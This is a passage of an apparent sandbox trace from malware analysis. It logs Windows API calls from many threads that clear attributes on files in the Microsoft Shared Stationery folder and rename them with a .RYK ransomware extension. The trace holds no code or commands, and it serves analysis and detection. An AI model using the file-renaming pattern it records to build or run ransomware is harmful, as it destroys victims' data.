	[0159.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 381
	os_tid = 0xee4

	[0159.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", dwFileAttributes=0x80) returned 0
	[0159.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.661] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 382
	os_tid = 0xee8

	[0159.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", dwFileAttributes=0x80) returned 0
	[0159.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 383
	os_tid = 0xeec

	[0159.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", dwFileAttributes=0x80) returned 0
	[0159.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.983] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 384
	os_tid = 0xef0

	[0159.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", dwFileAttributes=0x80) returned 0
	[0159.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.985] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 385
	os_tid = 0xef4

	[0159.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", dwFileAttributes=0x80) returned 0
	[0159.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.987] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 386
	os_tid = 0xef8

	[0159.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", dwFileAttributes=0x80) returned 0
	[0159.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.990] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 387
	os_tid = 0xefc

	[0159.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", dwFileAttributes=0x80) returned 0
	[0159.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.670] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 388
	os_tid = 0xf00

	[0159.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", dwFileAttributes=0x80) returned 0
	[0159.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.673] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 389
	os_tid = 0xf04

	[0159.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", dwFileAttributes=0x80) returned 0
	[0159.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.992] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 390
	os_tid = 0xf08

	[0159.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", dwFileAttributes=0x80) returned 0
	[0159.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.994] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 391
	os_tid = 0xf0c

	[0159.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", dwFileAttributes=0x80) returned 0
	[0160.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 392
	os_tid = 0xf10

	[0159.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", dwFileAttributes=0x80) returned 0
	[0159.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.998] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 393
	os_tid = 0xf14

	[0160.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", dwFileAttributes=0x80) returned 0
	[0160.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.261] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 394
	os_tid = 0xf18

	[0160.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", dwFileAttributes=0x80) returned 0
	[0160.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 395
	os_tid = 0xf1c

	[0160.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", dwFileAttributes=0x80) returned 0
	[0160.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.042] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 396
	os_tid = 0xf20

	[0160.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", dwFileAttributes=0x80) returned 0
	[0160.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 397
	os_tid = 0xf24

	[0160.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", dwFileAttributes=0x80) returned 0
	[0160.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 398
	os_tid = 0xf28

	[0160.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", dwFileAttributes=0x80) returned 0
	[0160.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.079] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 399
	os_tid = 0xf2c

	[0160.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", dwFileAttributes=0x80) returned 0
	[0160.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.263] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 400
	os_tid = 0xf30

	[0160.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", dwFileAttributes=0x80) returned 0
	[0160.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.265] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.266] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 401
	os_tid = 0xf34

	[0160.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", dwFileAttributes=0x80) returned 0
	[0160.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.267] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 402
	os_tid = 0xf38

	[0160.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", dwFileAttributes=0x80) returned 0
	[0160.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.716] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 403
	os_tid = 0xf3c

	[0160.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", dwFileAttributes=0x80) returned 0
	[0160.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.713] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 404
	os_tid = 0xf40

	[0160.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", dwFileAttributes=0x80) returned 0
	[0160.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.711] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 405
	os_tid = 0xf44

	[0160.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", dwFileAttributes=0x80) returned 0
	[0160.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.465] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 406
	os_tid = 0xf48

	[0160.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", dwFileAttributes=0x80) returned 0
	[0160.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 407
	os_tid = 0xf4c

	[0160.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", dwFileAttributes=0x80) returned 0
